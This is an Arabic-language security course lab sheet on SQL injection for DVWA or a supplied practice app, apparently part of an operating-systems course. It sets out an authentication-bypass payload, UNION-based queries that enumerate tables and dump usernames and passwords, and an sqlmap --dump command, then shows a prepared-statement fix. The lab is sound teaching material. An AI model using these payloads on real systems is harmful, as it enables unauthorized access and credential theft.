المختبر 6.2: حقن SQL - استغلال كامل
أهداف التعلم
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم كيفية عمل حقن SQL
- تجاوز المصادقة عبر حقن SQL
- استخراج البيانات من قاعدة بيانات
- استخدام SQLMap للأتمتة
- حماية تطبيقاتك ضد حقن SQL
المدة المقدرة
40 دقيقة
تطبيق الاختبار
استخدم DVWA (تطبيق الويب المعرض للضعف الشديد) أو التطبيق المقدم.
التقنية الأساسية
تجاوز المصادقة الكلاسيكي:
Username: admin' OR '1'='1' --
Password: (أي شيء)
الاستعلام الناتج:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'
النتيجة: الشرط دائمًا صحيح، تسجيل الدخول ناجح!
استخراج البيانات
قائمة الجداول:
' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --
استخراج البيانات:
' UNION SELECT username, password FROM users --
SQLMap المؤتمت
sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump
استخراج تلقائي كامل!
الحماية
كود آمن مع prepared statements:
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
مختبر تم تطويره في إطار دورة نظم التشغيل - الوحدة 6